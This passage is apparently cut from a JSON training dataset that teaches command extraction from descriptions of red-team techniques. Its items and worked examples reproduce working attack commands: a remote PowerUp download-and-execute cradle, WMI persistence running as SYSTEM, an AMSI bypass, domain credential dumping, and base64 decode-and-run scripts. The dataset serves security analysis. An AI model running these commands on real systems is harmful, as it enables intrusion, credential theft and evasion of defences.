https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To load a DLL using ordinal value #2 and trigger DLLRegisterServer, which will spawn Calc.exe upon success, use the following command: rundll32.exe \"#{input_file}\",#2",
    "output": "{\"command_list\": [\"rundll32.exe \\\"#{input_file}\\\",#2\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This WMI persistence script requires administrator privileges. After running the following command in PowerShell and rebooting the victim machine, notepad.exe will execute as SYSTEM when the system has been online for 4 minutes: $FilterArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';\n                EventNameSpace='root\\CimV2';\n                QueryLanguage=\"WQL\";\n                Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};\n$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments $FilterArgs\n\n$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';\n                ScriptingEngine='VBScript';\n                ScriptText='\n                Set objws = CreateObject(\"Wscript.Shell\")\n                objws.Run \"notepad.exe\", 0, True\n                '}\n$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class ActiveScriptEventConsumer -Arguments $ConsumerArgs\n\n$FilterToConsumerArgs = @{\nFilter = $Filter;\nConsumer = $Consumer;\n}\n$FilterToConsumerBinding = Set-WmiInstance -Namespace 'root/subscription' -Class '__FilterToConsumerBinding' -Arguments $FilterToConsumerArgs",
    "output": "{\"command_list\": [\"$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';\\n                EventNameSpace='root\\\\CimV2';\\n                QueryLanguage=\\\"WQL\\\";\\n                Query=\\\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\\\"};\\n$Filter=Set-WmiInstance -Class __EventFilter -Namespace \\\"root\\\\subscription\\\" -Arguments $FilterArgs\\n\\n$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';\\n                ScriptingEngine='VBScript';\\n                ScriptText='\\n                Set objws = CreateObject(\\\"Wscript.Shell\\\")\\n                objws.Run \\\"notepad.exe\\\", 0, True\\n                '}\\n$Consumer=Set-WmiInstance -Namespace \\\"root\\\\subscription\\\" -Class ActiveScriptEventConsumer -Arguments $ConsumerArgs\\n\\n$FilterToConsumerArgs = @{\\nFilter = $Filter;\\nConsumer = $Consumer;\\n}\\n$FilterToConsumerBinding = Set-WmiInstance -Namespace 'root/subscription' -Class '__FilterToConsumerBinding' -Arguments $FilterToConsumerArgs\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create and execute a base64-encoded script, use the following command:\nif [ \"$(uname)\" = 'FreeBSD' ]; then cmd=\"b64decode -r\"; else cmd=\"base64 -d\"; fi;\ncat /tmp/encoded.dat | $cmd > /tmp/art.sh\nchmod +x /tmp/art.sh\n/tmp/art.sh\n",
    "output": "{\"command_list\": [\"if [ \\\"$(uname)\\\" = 'FreeBSD' ]; then cmd=\\\"b64decode -r\\\"; else cmd=\\\"base64 -d\\\"; fi;\\ncat /tmp/encoded.dat | $cmd > /tmp/art.sh\\nchmod +x /tmp/art.sh\\n/tmp/art.sh\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique involves executing a Powershell command that creates a MsXml COM object, which is not proxy aware and avoids cache writes, using the following: powershell.exe -exec bypass -noprofile \"$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText\". A successful execution will show 'Download Cradle test success!'.",
    "output": "{\"command_list\": [\"powershell.exe -exec bypass -noprofile \\\"$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This Atomic will run DSInternals' Get-ADReplAccount, displaying domain and credentials in stdout when successful, using the command: Get-ADReplAccount -All -Server #{logonserver}",
    "output": "{\"command_list\": [\"Get-ADReplAccount -All -Server #{logonserver}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When svchost.exe writes a non-Microsoft Office file to a UNC path, the following commands are executed: copy C:\\Windows\\System32\\cmd.exe C:\\svchost.exe\nC:\\svchost.exe /c echo T1105 > \\\\localhost\\c$\\T1105.txt\n",
    "output": "{\"command_list\": [\"copy C:\\\\Windows\\\\System32\\\\cmd.exe C:\\\\svchost.exe\\nC:\\\\svchost.exe /c echo T1105 > \\\\\\\\localhost\\\\c$\\\\T1105.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An effective method to bypass AMSI involves modifying the DLL in memory, specifically setting the 'amsiInitFailed' function to true, which can be done with this command: [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)\n",
    "output": "{\"command_list\": [\"[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Attackers often prefer typing multi-line commands directly into the terminal, as shown by this looping example that displays a message repeatedly: for i in $(seq 1 5); do echo \"$i, Atomic Red Team was here!\"; sleep 1; done",
    "output": "{\"command_list\": [\"for i in $(seq 1 5); do echo \\\"$i, Atomic Red Team was here!\\\"; sleep 1; done\\n\"]}"
  },
  {
